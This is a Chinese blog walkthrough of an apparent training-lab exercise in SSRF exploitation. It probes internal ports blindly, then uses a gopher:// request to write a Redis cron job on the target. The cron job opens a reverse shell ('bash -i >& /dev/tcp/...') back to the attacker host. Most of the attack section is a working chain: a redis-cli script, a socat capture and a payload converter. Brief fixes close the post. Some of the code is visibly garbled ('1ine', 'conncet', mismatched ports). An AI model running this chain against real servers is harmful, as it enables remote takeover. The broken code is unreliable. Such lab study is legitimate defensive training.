警告
请勿使用本文提到的内容违反法律。
本文不提供任何担保
目录
(一)环境部署与Blind SSRF方法是:通过观察响应时间和响应状态判断指定端口是否打开。
(二)CentOS机器开启Redis服务,kali机器写定时任务到CentOS机器中。
SSRF漏洞分析与实践_xiaochuhe.的博客-CSDN博客
一、拓展攻击面
结合gopher协议攻击内网FTP、Telnet、Redis、FastCGI、Memcache,也可以进行get、post请求。
二、实验环境
- CentOS:SSRF漏洞环境 + 模拟内网Redis服务;ip:10.1.1.100
- Kali Linux:Redis服务 + 漏洞利用;ip:10.1.1.200
三、实践漏洞学习
(一)环境部署与Blind SSRF
方法是:通过观察响应时间和响应状态判断指定端口是否打开。
1.开启抓包,在‘无回显的SSRF’处输入 http://127.0.0.1:22,点击‘TEST IT’后,右键选择Send to Repeater发送到重放模块(快捷键 Ctrl+R)。
2. 点击‘go’之后Response很快响应,表示CentOS机器22端口开启。
3.将IP改为10.1.1.20,重新点击‘go’观察Response的反应,发现Response响应了一段时间才有结果,表示10.1.1.20的IP地址未开启22端口。(目的是:探测内网其他主机端口开放。)
(二)CentOS机器开启Redis服务,kali机器写定时任务到CentOS机器中。
1. Redis服务安装时默认绑定IP为127.0.0.1,此处不需要设置,查看Redis配置文件redis.conf:
find / -name redis.conf
vi /root/redis-5.0.4/redis.conf
2.CentOS机器开启Redis服务
cd /usr/local/bin
./redis-server /root/redis-5.0.4/redis.conf
3.查看kali机器的Redis版本,并启动服务器
4.另外开启一个终端,测试启动
5.在kali机器写一个redis反弹shell的bash脚本,在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,520为反弹shell的监听端口,可随意设置。
#关于redis的shell
echo -e "\n\n\n*1/ * * * * bash -i >& /dev/tcp/10.1.1.200/520 0>&1\n\n\n\n"|/usr/redis/redis-cli -h $1 -p $2 -x set 1
/usr/redis/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/usr/redis/redis-cli -h $1 -p $2 config set dbfilename root
/usr/redis/redis-cli -h $1 -p $2 save
/usr/redis/redis-cli -h $1 -p $2 quit
(三)通过gopher协议攻击Redis
1.Kali机器另外开启一个终端,使用socat进行端口转发,获取Redis攻击的TCP数据包,将本地的2333端口转发到Redis服务器的6379端口,访问本地的2333端口其实是访问Redis服务器的6379端口。
socat -v tcp-listen:1314,fork tcp-conncet:127.0.0.1:6379
2. 执行脚本:#bash shell.sh 127.0.0.1 1314,并查看捕获到的数据包。
3.利用脚本将数据转换成适配于gopher协议的URL,转换规则:
- 如果第一个字符是 > 或者 < ,则丢弃该行字符串,表示请求和返回的时间;
- 如果前三个字符是 +OK,则丢弃该行字符串,表示返回的字符串;
- 将\r字符替换成 %0d%0a;
- 将空白行替换成 %0a。
4.先将socat获取的数据保存为socat.log文件,然后执行脚本进行数据转换:
脚本如下:
#coding: utf-8import sys
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in'><+' :
continue
#判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r' :
#如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else :
line = line.replace(r'\r', '%0d%0a')
#去掉最后的换行符
line = line.replace('\n', '')
exp = exp + 1ine
#判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
5.此时nc开始监听520端口:
6. 在‘有回显的SSRF’处输入gopher://127.0.0.1:6379/_+数据转换的内容,点击‘TEST IT’后查看监听结果
最后成功获取反弹shell。在浏览器的‘SEE THE RESULT’处也可以看到定时任务写入成功!
四、漏洞修复
1. 限制协议为HTTP、HTTPS;
2. 禁止30x跳转;
3. 设置URL白名单或限制内网IP。
实验环境:合天实验室
参考:合天网安实验室-专业提供网络安全\信息安全在线实验服务的网络靶场
警告
请勿使用本文提到的内容违反法律。
本文不提供任何担保!